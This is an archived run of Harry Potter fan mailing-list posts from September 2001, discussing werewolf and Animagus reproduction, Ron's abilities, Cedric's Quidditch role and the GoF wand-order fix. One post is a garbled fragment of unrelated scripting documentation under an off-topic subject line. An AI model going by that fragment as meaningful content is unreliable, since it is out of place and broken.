Message-ID: <006901c139d9$773a9920$5690aecb@price>

No: HPFGUIDX 25860

Catherine:
> Finally, do werewolf cubs exist?  Is the condition genetic?  Or is it 
> only passed on by biting etc.???

Rita:
> FANTASTIC BEASTS says "Humans turn into werewolves only when bitten." It
doesn't say anything about inheriting the condition -- neither does it
say whether werewolves can have human children/wolf cubs (I'm inclined
to believe that female werewolves miscarry all pregnancies because the
transformation is too hard on a fetus -- I also believe that the
Animagus transformation, among all its myriad advantages over werewolf
transformation, safely transform the fetus along with its other).<

Interesting musings, these.  I'm regretfully inclined towards Rita's view that lycanthropy can only be acquired, not inherited, but if if *were* inheritable, perhaps all you Lupin lovers out there should pause for thought... would you be prepared to bear his periodically hairy, destructive werecubs for him?

Which brings me to the fascinating realm of Animagus Reproduction (***Morality Police, avert your eyes now***).  What do people think the story is there?  As I see it, there are at least four possibilities:

(1) The True Form Theory

This theory goes like this: the true form of a female Animagus is that of a witch, and therefore her child will inevitably be born human (magic or muggle).  This would mean that the fetus would have to do the mystic transformation-into-a-parallel-dimension trick of which I still disapprove when she's in animal form, *or* that the fetus transforms with the mother but she cannot give birth in animal form, perhaps undergoing a forced transformation when she goes into labour, or perhaps magically sprouting a human baby from animal womb  (what if she were a bird, eh?  Could we get a Momotaro style baby-hatching-from-egg scenario??  I like it...).

For the male Animagus, the plot thickens.  Can he father offspring when in animal form, or is he not a "true animal" and therefore sterile or not interested?   Could Wormtail have fathered a host of little ratlings in the London sewers?  And if he has, would they have any magical powers, or be Animagi (true form: Rat) themselves?

(2) The Form at Birth Theory

This theory would mean that the fetus is born in whatever form the mother is in at birth.  Hence if McGonagall got carried away with Hagrid at the Christmas party and then fled in shame as a cat to give birth, her offspring would be in kitten form (yes, it was me who suggested that Crookshanks could be an offspring of an orange Kneazle and McGonagall in cat form, mostly tongue in cheek, but you never know...).

(3) The Form at Mating Theory

OK, so then let's assume that the form of the fetus is fixed at the time of conception.  Therefore, McGonagall would only give birth to kittens if she got carried away with Crookshanks when in cat form.  Which would mean that either she'd give birth to a kitten as a woman (ew!) or undergo an involuntary shape change when her gestation as a cat was up and she went into labour.

(4) The Hybrid Theory

A touch of Piers Anthony here: perhaps the centaurs, harpies and so forth are in fact the half-human progeny of Animagus matings when in animal form!  Which would mean that a female horse Animagus would need to be very careful with herself when in mare form, lest she find herself trying to give birth to a centaur later.

(is that wincing I hear?  Come on, this is the Science of the Potterverse I'm exploring here!)

Steve:
> But I don't think she's a writer on par with C.S. Lewis or Natalie Babbitt and that's okay.

Curious: how does one measure the absolute quality of a writer?  Now I haven't read Natalie Babbit, but I'll grant that the Narnia series (which I love) doesn't have the glitches of internal consistency we're picking up in the HP series, at least, not that I've noticed.  However, I'd also argue that Narnia sits fairly safely in the middle childhood department, with a pretty, desexualised world, minimal character development, simple dualist moral messages a la Christian ideology, and fairly uncomplicated, discrete borrowings from mythology and folklore (Father Christmas, fauns, dryads, etc.).  Indeed, I read somewhere that Tolkien disapproved violently of this last: he thought that a good writer should create a completely unique world and creatures without nabbing things haphazardly from other places!

 Without going into the ol' "are they children's books" debate for the billionth time, HP is in a lot of ways more ambitious.  JKR's world *is* sexualised (beyond the fairytale romance references in Narnia), albeit in an understated way, and she is definitely engaging in more character development than C.S. Lewis, with sexual maturation being part of this.  Although she's marked out "good" and "evil", and has moral messages in her work, she approaches the issue in a much more complex way than C.S. Lewis.  Compare Aslan and Dumbledore, or Jadis and Tom Riddle, for example.  Not for C.S. Lewis the moral minefield of whether disobeying authority or lying can sometimes be justified for a greater good, or exploring what makes one person become good and the other bad, or why bad things happen to good people and vice versa which don't miraculously right themselves by the end, or whether a good guy could have a nasty temperament, or letting his audience believe for almost a whole book that an apparent good guy is in fact a villain.  This is partly because she is writing involved mystery stories, not a straightforward adventure story set in a fantasy world.  Her books are filled with plot twists and real-world fantasy world crossovers which are more numerous and easily as clever as Lewis' sneaky prequel The Magician's Nephew, where he neatly explains the origin of both the wardrobe and the lamp-post.  In terms of her mythological borrowings, JKR does this on more levels than Lewis, with her clever naming of her characters, and her adaptation of mythical creatures.

I would also argue (thought with less conviction) that the HP books are a bit more firmly rooted in popular culture, with the children using contemporary English slang, and references that will date (Playstations, video recorders, etc.).  C.S. Lewis set his books in specific eras (late Victorian London and around WW2), and his characters *do* use the slang of the time to some degree, but not (I think) quite so much.

So there we have it: in a nutshell, HP may not be as internally consistent as Narnia, but this is largely because JKR is trying to do a lot more than C.S. Lewis was, namely write fully-fledged, maturing characters, accommodate a sexual element, write ingenious mystery plots, capture late 20th century English children's culture, and provide her readers with a more realistic, multi-dimensional portrayal of good and evil.

OK, I'm bracing myself for the responses...

Tabouli.


[Non-text portions of this message have been removed]




From dianne at surfshop.net.ph  Mon Sep 10 11:25:07 2001
From: dianne at surfshop.net.ph (-=dianne=-)
Date: Mon, 10 Sep 2001 11:25:07 -0000
Subject: value between 1 and 26.
Message-ID: <mailman.17.1576214563.17272.hpforgrownups@archive.hpfgu.org>

No: HPFGUIDX 25861

Value, the character sequence is not specially treated.<cr>	Carriage return<lf>	Linefeed\"	Double-quote\^	Single caret\<	Single '<'\\	BackslashExamples:transmit "^M"transmit "Joe^M"transmit "<cr><lf>"waitfor "<cr><lf>"5.0    ExpressionsAn expression is a combination of operators and arguments that evaluates to a result.  Expressions can be used as values in any command.An expression can combine any variable, or integer, string, or boolean values with any of the unary and binary operators in the following tables.

[Non-text portions of this message have been removed]




From katzefan at yahoo.com  Mon Sep 10 12:00:06 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Mon, 10 Sep 2001 12:00:06 -0000
Subject: Malfoy, C.R.A.B., exploding horse
Message-ID: <9nia06+gvm1@eGroups.com>

No: HPFGUIDX 25862

>Kelly the Yarn Junkie wrote:
>2) Why didn't Malfoy quit after the Buckbeak incident?

I don't think it's in Malfoy to quit, even if he *could* drop that 
particular class, either because he's too stubborn - or because 
there is  *no* way he could explain such a move to Lucius, who 
in CoS made his disappointment in his son's grades extremely 
clear - and probably not for the first time. I'm fairly sure Lucius's 
reaction, were Draco to suggest dropping a class, would 
probably be a good deal worse.

>Katzefan asked:
>OK, now I know what L.O.O.N is; please what is C.R.A.B.?
> Amy Z. answered:
>Cut Ron a Break, founded by Lisa I. in msg. #25575, too 
>recently to be included in the VFAQs.  We can see if it catches 
>on.  Come on, folks, only 2 Sickles to join!

Ok, here's my 2 Sickles and I'll throw in a couple more for some 
badges... I *like* Ron, darn it, and it can't be easy trying to live
up to all his older brothers have done, and having a best friend 
who's almost always the centre of attention (not usually by intent) 
and then having a crush on the valedictorian of the class! (In 
further defense of Ron, when he and Harry were being partially 
strangled by the Devil's Snare, he was the one who reminded 
Hermione that, being a witch, she didn't need wood to start a 
fire.) He's not a genius, nor a one-of-a-kind like Harry, but he is a 
nice kid who is struggling, fairly successfully, with growing up.

>From:??mellienel2 at y...
>katzefan said
> One question: the final photo shows Ron sitting on one of the 
> knights' horses on the giant chessboard - when I read the 
> book, I got the impression H/R/H took the places of three 
>chess pieces, which then moved completely off the board and 
>just stood to one side. Did I get that wrong?
Melliene2 said:
>I think it's that way in the book, but you could just as easily 
>imagine the actual bodies moving off - the actual knight off the 
>horse - in the movie. He is taking someone's place -- the knight 
>that left the horse's back (i think, anyway). In the trailer, you
>see a flash of him getting 'taken' -- instead of being punched, 
>the horse explodes and you see him falling to the ground. 

Aha! Thank you for clarifying that; I wondered what the exploding 
horse was all about - couldn't remember anything in the book 
that related to that, and the scene zips by so quickly in the trailer 
that I didn't notice someone was sitting on the horse.




From vderark at bccs.org  Mon Sep 10 13:16:53 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Mon, 10 Sep 2001 13:16:53 -0000
Subject: JKR using OUR theories
In-Reply-To: <9nhlkf+d5rt@eGroups.com>
Message-ID: <9nieg5+4g2n@eGroups.com>

No: HPFGUIDX 25863

--- In HPforGrownups at y..., hfakhro at n... wrote:
> Steve Vander Ark wrote:
> 
> She could have easily borrowed one of our explanations and never 
had 
> to admit any error at all.
> <snip>
> We were all very let down when the error was just fixed with no 
> comment whatsoever from JKR or the publishers.
> <snip>
> But I don't think she's a writer on par with C.S. Lewis or Natalie 
> Babbitt and that's okay.
> 
> I think I can understand where you're coming from in terms of the 
> disappointment (even though I am a post-GoF member, and really did 
> not know what it was like back then) - however, can we really 
expect 
> something like this from JKR? 

I didn't mean that she would actually use OUR ideas, just that it 
would have been possible for her to have explained the text just the 
way it was without just saying it was a goof. My point was that we 
proved that it would have been possible because we came up with 
plenty of perfectly good ideas. It was a bit disappointing when it 
was handled as non-creatively as it was. I think some of us, me 
included, had started to expect just a bit too much from her, and 
this incident brought us just a little bit back to earth. 

Please, don't any of you misunderstand my tone here. I'm not 
criticizing JKR, just relating a little history and maybe admitting 
my own errors. 

Can you just imagine the kind of pressure she's under to make OoP 
great? She knows now that she's writing for posterity, that her book 
will be analyzed and discussed people for years and years to come. If 
I were her, I would be second guessing myself all over the place and 
worried that things would be misunderstood. I don't blame her a bit 
for taking her time on this one. In retrospect, I'm sure she's 
wishing she could spend a little more time on GF!

Steve




From pennylin at swbell.net  Mon Sep 10 13:08:34 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Mon, 10 Sep 2001 08:08:34 -0500
Subject: Wand Order Fix
Message-ID: <3B9CBB52.5040605@swbell.net>

No: HPFGUIDX 25864

Hi everyone --

Thanks to Steve for responding so thoroughly to the question of why some 
of us are disgruntled about how the Wand Order goof was fixed!  I would 
add a few things to Steve's explanation though.  Someone suggested that 
of course JKR can't be expected to monitor fan lists such as this and 
know that we had possible explanations that could have worked.  True. 
But, I think the point is if *we,* with a little thought, could come up 
with several possible explanations for the wand order issue, why 
couldn't she or her editors have done the same thing?

It seemed to me anyway that (a) it was a rather rushed "Oh, yeah, that 
is wrong, fix it, would you?" decision on JKR's part, and (b) the 
publishers tried to sneak it by.  By (b) what I'm referring to is the 
fact that there was no press release, no interview, no discussion of the 
fix *at all* by any of the publishers until Salon.com did an expose of 
sorts on the whole issue.  Then, they owned up & sheepishly said, "Oh 
yeah.  That was an error & we fixed it."  Gee, were ya gonna tell us 
about it?  They were very well aware that the fans knew about this 
problem because CNN (and Salon) both ran articles in late July 2000 that 
spotlighted the problem.  Every response from the publishers on this 
issue was, well, a little defensive IMO. And, frankly, well it should 
be.  The editors missed a *major* error -- it was something any true fan 
spotted right away as we all know.  It all goes back to the rushed 
deadlines.  I'm willing to wait as long as it takes to avoid that sort 
of thing in OoP (although I sure wish they'd ask some of us fanatics to 
do some pre-publication editing!  I know *I'd* do it for free in a 
heartbeat and I'm sure Steve would too).

The other variable is that I don't *like* the fix.  There are some long 
explanations from me about why I don't like it in the message archives 
-- sometime in January as I recall because I know I was interviewed by 
the NY Daily News while I was in NY in January so it would be shortly 
after that article was published.  In short though, Harry was *NOT* 
thinking about his mother that night as far as we know.  He *HAD*, 
however, been thinking about his father.  The fix lacks the emotional 
impact that the original passage had for me.  I don't think they fixed 
enough of the language.  If it was wrong, then they should have fixed 
more than pronouns and proper names.  There wasn't enough context given 
for the changes made IMHO.  He has this growing connection to his father 
that starts in PoA, and I think that was what JKR might have been 
thinking about when she wrote it.

Penny




From cynthiaanncoe at home.com  Mon Sep 10 13:45:35 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 13:45:35 -0000
Subject: C.R.A.B. 
In-Reply-To: <9nhlkf+d5rt@eGroups.com>
Message-ID: <9nig5v+62qv@eGroups.com>

No: HPFGUIDX 25865

--- In HPforGrownups at y..., hfakhro at n... wrote:
> 
> Cindy wrote:

So Ron seems very nice, courageous and funny, and I'd like to believe 
> he's a talented wizard.  But for now, I have my doubts about 
whether 
> Ron has earned a break.  
> 
Hella wrote:
> 
>Why do you say that Ron hasn't earned a break unless he achieves 
some 
> incredibly talented action in the manner of Harry (most famous and 
> talented peer of Ron's) and Hermione (cleverest witch of her year.) 
I 
> think the standards many people set Ron to are completely unfair 
and 
> unrealistic. 

I hadn't intended to stub anyone's toes with my remarks about Ron.  
But there is one thing that bears mentioning -- the other main 
characters seem to have a specialty, a talent in a particular area.  
Hermione is good at lots of things (charms, transfiguration in 
particular).  Harry is good at flying and DADA.  Even Neville is good 
at herbology.  Sirius and McGonnagall are good at transfiguration.  
Lupin is adept at DADA.  As for other minor characters (Seamus, Dean, 
Pavarti), we really don't know, perhaps because they are too 
unimportant to concern us.  But JKR seems to have decided that Ron is 
the one major character who doesn't have a magical gift or talent.  
(Ron's diligent slicing of roots doesn't seem to be on the same 
level, IMHO.)

Does this make Ron a worthless heap?  Of course not.  In fact, it 
makes his character kind of interesting and different, and the books 
wouldn't be the same without Ron.  Maybe that's enough to earn 
a "break."  But I think JKR is saving this "special talent" element 
of Ron's character to get maximum effect out of it later.  I have 
high expectations for Ron.  But I don't think JKR has taken him there 
yet.

Cindy (who has two sickles reserved for C.R.A.B membership, just in 
case)




From aiz24 at hotmail.com  Mon Sep 10 13:58:43 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 09:58:43 -0400
Subject: Cedric, Ron on teams - werewolves - mistakes
Message-ID: <F207A9MIl6lEwFcxT1o0000ac25@hotmail.com>

No: HPFGUIDX 25866

Kelly Hurt wrote:

 > Cedric didn't make the team 'til his 5th year & then was immediately
 > made captain.

Luke wrote:

>If you have made this inference from the sentence in POA (Chapter 9,
>Page 168 U.S. Hardcover) which reads "They've [referring
>to Hufflepuff's Quidditch team] got a new Captain and Seeker, Cedric
>Diggory" then it's quite a reasonable one and you may be right, but
>there are two viable alternatives:
>1) The "new" refers only to his being made captain and he was already
>on the team as seeker.
>2) The "new" refers both to his being made captain and seeker, but he
>was previously on the team under a different position.  (He certainly
>isn't quite normal seeker build so perhaps he started out playing a
>heavier position like chaser or keeper and then filled in at the
>loss of the previous seeker.)

The same quote Kelly mentions struck me as odd for the first time on this, 
my <counts on fingers, runs out of fingers> kazillionth reading of PoA.  (2) 
seems like a likely explanation.  Another possibility, less likely, is that 
he was on the reserve team.  We never see the second string of any team, but 
there are implications that it exists (namely Harry's statement in PS/SS 13 
that they don't have a reserve Seeker, worded in such a way to suggest that 
reserves are usual, for some positions anyway).

To return to the original context, Kelly said this IDO Ron, whose failure to 
make the house team was mentioned by Cindy in a list of Ron mediocrities.  I 
would add that we don't know of any openings on the team in Ron's 2nd or 3rd 
year.  There might have been openings on the invisible reserve team, OTOH.

Also, you need money to play Quidditch--unfair, but true.  Fred and George's 
admission to the team must've made Molly and Arthur tear their hair out; 
Ron's broom isn't up to team play (CS 4) and if he did make the team it 
would mean another major expenditure for the Weasleys.  We have no hint that 
this is a deciding factor for Ron, but it would not be a surprise if it came 
up in a later book.

Catherine wrote:

>Are there werewolves in the FF?  Is it a myth, created to scare the
>Hogwarts students?  If so, why don't more of them have more common
>sense about this

Another thing about this is that even if there are werewolves, the students 
should only be afraid at the full moon.  There may or may not be a full moon 
when they go into the FF in PS/SS (it says the moon was bright), but the way 
students mention the werewolf thing seems not to take into account at all 
that werewolves are harmless 27 days out of 28.  It irks me.  The Werewolf 
Anti-Defamation League really needs to do some PR.

>Finally, do werewolf cubs exist?  Is the condition genetic?  Or is it
>only passed on by biting etc.???

As Rita has already said, you wouldn't have a litter of werewolf cubs.  But 
when 5-y-o Remus transforms, I bet he turns into a cub.  Oh my, I'd better 
have a lie down now before I faint of cute.

Cindy says:

>Then there was Harry's failure to
>use a Summoning charm to obtain the Marauder's Map when his leg was
>stuck in the stair.  I would have liked to see him mentally chastise
>himself for not thinking of this faster.

Thanks for the distinction between typo-type things and holes like the above 
or none of the champions' using Accio in the first task, which are real 
judgment calls.  The latter bothers me a bit, but the thing about Harry 
later kicking himself for not thinking of Summoning the Map doesn't.  It 
probably occurs to him at some point (it *would* bother me if it didn't), 
but we don't need to hear about it.  I almost always think JKR's writerly 
instincts about how much of this kind of thing to reveal are exactly right.

I haven't done an exhaustive search of typos and small errors, you'll be 
relieved to hear, so I don't know if GoF has more than its share (adjusted 
for number of pages), but they are not limited to that book.  E.g. there are 
a lot of misplaced modifiers throughout the books, one of my pet peeves and 
something that should make JKR fire her editor <clears throat, prepares 
resume>.  A misplaced modifier is like this:

Ancient and shrivelled, many people said he hadn't noticed he was dead.  
(CoS 9.  "Ancient and shrivelled" describes Binns, not "people.")

Though quite young, his light-brown hair was flecked with gray.  (PoA 5.  
"Though quite young" modifies Lupin, not "light-brown hair."  A correct 
phrasing would be "Though he was quite young, his light-brown hair was 
flecked with gray.")

Steve, who is not going over to the Dark Side, wrote:

>Hufflepuffs are all a bit tubby

I agree with everything else you said but I have to nitpick this one.  
Cedric, we are left in no doubt, is a hunk.

I can understand the thrill and then the letdown with PI for those who were 
along for the ride.  It has meant that whenever I spin an elaborate theory, 
I still have a little voice in my head that adds, "or it could just be a 
mistake."  Entire essays are written about a mistake in a Hemingway story 
that was probably nothing more than an error (I forget which story).  We can 
still enjoy the creativity of coming up with new explanations even if 
Occam's Razor may suggest that we drop it.

Amy Z

----------------------------------------------------
JKR:  Maps are a great source for names . . .
Interviewer:  Really?
JKR:  Yeah.  Dursley and Dudley and Snape are all,
   erm, places I can't visit anymore, obviously.
                           --Blue Peter interview
----------------------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From lee_hillman at urmc.rochester.edu  Mon Sep 10 14:11:37 2001
From: lee_hillman at urmc.rochester.edu (Hillman, Lee)
Date: Mon, 10 Sep 2001 10:11:37 -0400
Subject: Cedric as Captain; Werewolves; "Problems" in GoF; In defense 
	of Steve; Draco & CoMC
Message-ID: <95774A6A6036D411AFEA00D0B73C864303B053F4@exmc3.urmc.rochester.edu>

No: HPFGUIDX 25867

Hi, folks!

Many things to say, some of which are short, so I'm being good and
combining.


I. Cedric as Captain:
Luke wrote:

> If you have made this inference from the sentence in POA (Chapter 9, 
> Page 168 U.S. Hardcover) which reads "They've [referring 
> to Hufflepuff's Quidditch team] got a new Captain and Seeker, Cedric 
> Diggory" then it's quite a reasonable one and you may be right, but 
> there are two viable alternatives:
> 1) The "new" refers only to his being made captain and he was already 
> on the team as seeker.
> 2) The "new" refers both to his being made captain and seeker, but he 
> was previously on the team under a different position.  (He certainly 
> isn't quite normal seeker build so perhaps he started out playing a 
> heavier position like chaser or keeper and then filled in at the 
> loss of the previous seeker.)
> 
> Anyway, just pointing out the possibility.  I may also have 
> overlooked 
> some more conclusive canon evidence.
> 

Cedric could also have been on the reserve team and brought up from that.


II. Werewolves
Catherine wrote: 
> 
> Are there werewolves in the FF?  Is it a myth, created to scare the 
> Hogwarts students?  If so, why don't more of them have more common 
> sense about this, because either:
> There is a community of werewolves who live in the forest, all the 
> time, whether they are wolf or human
> or:
> Werewolves apparate there at the time of the month so they are away 
> from humans and are contained there.
> or:
> werewolves couldn't possibly be found in the FF if not one of the 
> above.
> 
> Plausible?
> 
> Finally, do werewolf cubs exist?  Is the condition genetic?  Or is it 
> only passed on by biting etc.???
> 

1. You can't Apparate or Disapparate on the grounds of Hogwarts. (Thanks,
Hermione)
2. If this is the case, and there are regular werewolves in the FF, then why
is Lupin being loose on the grounds, either during their schooldays or the
night of the Shrieking Shack episode in PoA, such a big deal? 

I think because of the "uncontrollable" nature of werewolves, and the fact
that they will target humans above any other prey, there cannot be
werewolves in the FF on a regular basis. As for living there while human,
I'm sorry, but that just doesn't make sense to me. I wouldn't be surprised
it there were werewolf enclaves, but I'd expect them to be further removed
from any civilisation. 


Susan:
> Didn't JKR say in an interview that there are no werewolf cubs?  I 
> think I remember her saying that Riddle was lying when he said the 
> Hagrid raised werewolves under his bed.

Just because Riddle was lying doesn't mean there are NO werewolf cubs. She
could have indicated the second but not the first. Does anyone have a
reference for this interview?

Which brings me to:
3. Rita points out that FB states werewolves are always bitten. However,
Remus says he was bitten as a small child (PoA, ch. 18), and when they
discuss the "joke," Remus mentions that Snape would have met a fully grown
werewolf. These two clues combined makes it reasonable, I believe, to guess
that Remus's wolf form corresponded in part at least to his actual age. So
for example when he was 5, the wolf could have been a cub, and by 8, his
wolf form could have been a pup, or at least a young wolf--still dangerous,
probably, but not a full-grown wolf. At some point, the wolf would mature,
probably by the time Remus entered puberty.

Again, Remus mentions that it "haunts" him that WPP came so close to losing
control of him so often--it suggests that their presence in the FF was an
anomaly.

OTOH, perhaps it is actually Remus to whom the legends of werewolves in the
forest refer. Oops, Rita said that too. Well, I think that's the basis for
the rumours.


III. "Problems" in GoF
Cindy:
> > Then there was Harry's failure to 
> > use a Summoning charm to obtain the Marauder's Map when his leg was 
> > stuck in the stair.  I would have liked to see him mentally 
> chastise 
> > himself for not thinking of this faster.  
> > 

Actually, I wondered about that for about 5 seconds. Then I realised: 
a. he couldn't chance making any noise; 
b. even if he'd managed to whisper the spell and not be overheard (by Filch
OR Mrs. Norris), the sight of a piece of parchment spontaneously blowing up
from the floor, past a tapestry, and once past the tapestry, out of sight
altogether would have given him away as surely as looking at the map itself;
and 
c. it's just possible he doesn't have his wand with him. This may not be
true, since we learn in QttA that wizards generally keep their wands with
them at all times, and he might have wanted it to wipe the map just in case,
but really, he didn't expect to need his wand. He already had the egg, and
the map, and Rowling mentions how cumbersome it was to move under the
Invisibility Cloak carrying these two items. He was in his dressing gown and
pyjamas, not his robes, and he didn't expect to see anyone. The wand is
never mentioned and he doesn't bother to stop the map while he's in the
bath, so it's possible he doesn't even have it during the episode.

So that's why I figured he didn't try to Summon the map.

Cindy continued 
> > By my measure, then, the really horrible one is the only one that 
> > jumped out at me on my first reading:  the wand order.   I will say 
> > this, though.  I don't entirely understand why everyone is so 
> unhappy 
> > about the way this was fixed.  Perhaps someone will enlighten me.
> > 

Well, I joined this group after GoF, so the hype isn't my problem with it.
My problem is purely aesthetic--the scene doesn't read as well in the new
order. It makes more dramatic sense the other way 'round, when his father
comes out first and says, "your mother's coming. She wants to see you." It's
just more touching. Add to this the awkward change about saying that the
woman was the one he'd been thinking of more than any other that night...
Harry wasn't actively thinking about his mother. He _was_ thinking about his
father. I just thought the fix was executed in a careless and haphazard
fashion, when it's possible that with a little more effort, the scene could
still read for dramatic effect as well as the original.


IV. In defense of Steve:
Steve (VdA) wrote:
> 
> Good grief, some of you seem to be taking offense that I say this. 
> But it's me, guys, the editor of the Lexicon. I'm not going over to 
> the Dark Side or anything here. I've just become a bit more realistic 
> as time goes by. That doesn't mean I like the books any less or that 
> you need to defend JKR against me. I'm not attacking her! But I don't 
> think she's a writer on par with C.S. Lewis or Natalie Babbitt and 
> that's okay. Hardly any writers are. That doesn't mean that only 
> those few writers who are at the absolute top of the pile are worth 
> reading. Not at all. But by the same token there's nothing wrong with 
> being realistic about it and calling it like it is.
> 

Bravo, Steve! I too am sometimes disturbed by the attitude that frequently
pervades these discussions: the idea that Rowling can do no wrong.

She's human. She has file boxes of notes, but sometimes even the most
meticulous planner can miss something, or gets an inspiration that
contradicts an earlier inspiration. How many of us proofread and proofread
and proofread, and satisfied with our email, hit the send button, only to
find three typos in the message when we read it on the list? Pointing out
the errors should not negate the quality of the work.

I remember recently a discussion somewhere (I think here) where folks were
highly disappointed that _The Amber Spyglass_ won a book award over _Goblet
of Fire._  I didn't get the debate then, and I don't now: GoF is a wonderful
book. It's a great book in a very top-notch series of great books. _The
Amber Spyglass_, IMO, is a groundbreaking book. It's the difference between
an enjoyable story with many levels of understanding and nuance and all the
genres (to quote William Goldman, "Fencing, fighting, pirates, true
love..."), and a majorly mind-blowing conceptual piece that does all that,
and also changed how I think about life and the universe. And that's just
one example.

There are things about Rowling's writing style that bug me. I can't stand
that she writes in the passive voice so often ("had done," "had been
watching," etc.). I hate the housist tendencies and the seeming invisibility
of houses H and R--though I hope that OoP will see that change. Some of her
characters are so caricatured I can't even imagine them developing in the
series, and her poetry and incidents like the school song scene frankly make
me cringe.

But, despite these faults, I have managed to amass more HP merchandise than
I ever thought I'd want, I spend an inordinate amount of time reading,
writing, and participating in HP fandom, I bounced fit to make the entire
row of seats shake the last time I was in a movie theatre that showed the
trailer, I talk about HP all the time, and it rivals, and may even outstrip,
my other major hobby for demands on my time (and that's a hobby I've spent
12 years pursuing!). I'm completely, totally, horrendously obsessed with HP.

That doesn't mean I don't acknowledge things I'd prefer to see, avenues I
wish she'd take, or even improvements I'd suggest were I on her editing
team. But we love a person or a thing despite its failings, regardless or
even because of its flaws.

Let's remember that we're all here because we wish to be here. It's not
heresy to point out a flaw, or even a Flint. I thought we were supposed to
be adults? Can't adults approach issues like the relative perfection of a
series of books without foaming at the mouth if someone dares utter a word
of criticism?

The L.O.O.N.s are actually great examples of this. Their pleasure and
pasttime is to find the flaws, eke out the errors, and spot the snafus, and
then try to figure out why they are there. As Joywitch pointed out recently
on this list, their nitpicking doesn't mean they hate the books. They still
love the books. But the more closely one scrutinizes a thing, the more one
sees through the chinks in its armour and finds spots of rust that didn't
pop out the first time, or even, for some of us, the 375th time. And while
there was some lively discussion about how right/wrong it was to pick those
nits, there was little to no condemnation of their right to point out the
nits. I believe it had more to do with perceiving a lean in the group
toward, "Hey, let's trash the rags!" which was not, in reality, the case.

Okay, I'm babbling now. I'll stop. Anyway, I just want to chime in a big "Me
too" and congratulate Steve (and others who have spoken out) for being
willing to admit on list that though the books are "All That," they are not
necessarily "All That and a Bag of Chips."


V. Draco dropping CoMC (to end this on a fun note):
 
Amy Z listed "Some possibilities:"
> 
> (a) "Elective" is a tricky term; they choose which classes to 
> take but they 
> don't choose how many.  He has to take *something.*
> 
> (b) Quitting would be quitting.  He's going to stick it out 
> and outlast 
> Hagrid.
> 
> (c) He really wants to learn Care of Magical Creatures, the better to 
> oversee the gamekeeper back home when he inherits the 
> mansion, and because 
> Lucius won't let him have a fire crab until he can take care 
> of it himself.
> 

d. Just because it's an "easy A."


Gwendolyn Grace



From justanopinion2001 at hotmail.com  Mon Sep 10 15:03:52 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Mon, 10 Sep 2001 15:03:52 -0000
Subject: JKR using OUR theories
In-Reply-To: <9nieg5+4g2n@eGroups.com>
Message-ID: <9nikoo+k79i@eGroups.com>

No: HPFGUIDX 25868

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> > 
> > She could have easily borrowed one of our explanations and never 
> had 
> > to admit any error at all.
> > <snip>
> > We were all very let down when the error was just fixed with no 
> > comment whatsoever from JKR or the publishers.
> > <snip>
> > But I don't think she's a writer on par with C.S. Lewis or 
Natalie 
> > Babbitt and that's okay.
> > 
> 
> I didn't mean that she would actually use OUR ideas, just that it 
> would have been possible for her to have explained the text just 
the 
> way it was without just saying it was a goof. 
>Snip> 
> Please, don't any of you misunderstand my tone here. I'm not 
> criticizing JKR, just relating a little history and maybe admitting 
> my own errors. 
> 

I've been following this wand order correction discussion with 
interest.  I have to say that I am a little surprised at some of the 
statements made.  Collectively, the tone sounds a little bit 
like "JKR didn't handle this the way she should have (and she didn't 
consult this group), so I'm not going to play any more."  Also, I 
sense a bit of condscension toward newbies ("You weren't there in the 
beginning, so you can't possibly understand, so any new or restated 
ideas about these errors aren't as important because the old-timers 
have worked this all out already").  That's probably not what was 
intended, of course, but it did occur to me.

I thought the point here was for people to discuss the books and 
canon and to enjoy noodling about these issues.  If people are of the 
view that this one, isolated wand order thing is the end of their 
admiration for JKR, well, OK.  If noodling isn't any fun for someone 
because of it, that's unfortunate.  But for me, the error just shows 
how difficult the whole process must be and how tightly plotted and 
well-thought out the books are and have to be.

As for the way the error was fixed, I think people are blowing it out 
of proportion.  If Lily is supposed to come out first, then that is 
what should be fixed.  Adopting a bunch of far-fetched theories to 
cover up a simple error seems to make the problem much bigger than it 
really is.  Giving interviews, holding press conferences, issuing 
press releases is over the top, in my opinion.  Fans like this group 
will find out about the revision (and we did).  The rest of the world 
does not care.  Re-writing other parts of the book to make the scene 
work better is overkill.  In the grand scheme of the book, let alone 
the series, the wand order error is small potatoes.  Just fix it and 
be more careful next time.  That's what they did. I don't think JKR 
owed her fans anything more, and I personally don't have a problem 
with that.

Laura




From landers at email.unc.edu  Mon Sep 10 14:32:24 2001
From: landers at email.unc.edu (Betty)
Date: Mon, 10 Sep 2001 10:32:24 -0400
Subject: emperius curse, regarding the issue of how many times Harry had been 
 under it... was omnicient author/in defense of JKR
Message-ID: <3B9CCEF7.BB0028CC@email.unc.edu>

No: HPFGUIDX 25869

   From: cynthiaanncoe at home.com
Subject: Omniscient Author/In defense of JKR)
snipped a massive amount.
Personally, I think GoF wasn't really very sloppy.  The thing is 700+ 
pages and intricately plotted.  A few minor glitches got through 
(e.g. the number of times Harry was under the Imperius curse).  All 
of those are forgivable, and are things most readers wouldn't catch 
on a first read, and therefore don't impair the enjoyment of the book.

The emperius thing was not a mistake.  True, Harry hasn't been under the
emperius curse three times; he's only been under it twice.  But if you
remember, at the Quidditch world cup, when the Veela started dancing,
Harry's mind "went completely and blissfully blank", just as it seems to
when he is under the emperius curse.  JKR doesn't specify where the
other two time s come from, you're just expected to know that he's felt
that way three times.
Betty



From cynthiaanncoe at home.com  Mon Sep 10 15:36:15 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 15:36:15 -0000
Subject: Priori Incantatem
In-Reply-To: <F139UbHmiiFmOOF44GG0000b8b3@hotmail.com>
Message-ID: <9nimlf+s7jp@eGroups.com>

No: HPFGUIDX 25870

> Likewise--
> 
> Kelly wrote:
> 
> >I don't think I understand what anyone expected to see to represent
> these curses.
> 
Amy wrote:

> Hear, hear.  I just don't share the view that the missing spells 
during 
> Priori Incantatem are Flints.  JKR is brilliant at being selective 
about 
> detail, so she doesn't show everything, and this scene is unfolding 
very 
> fast; would Harry recognize a repeated Imperius Curse if he saw 
it?  What 
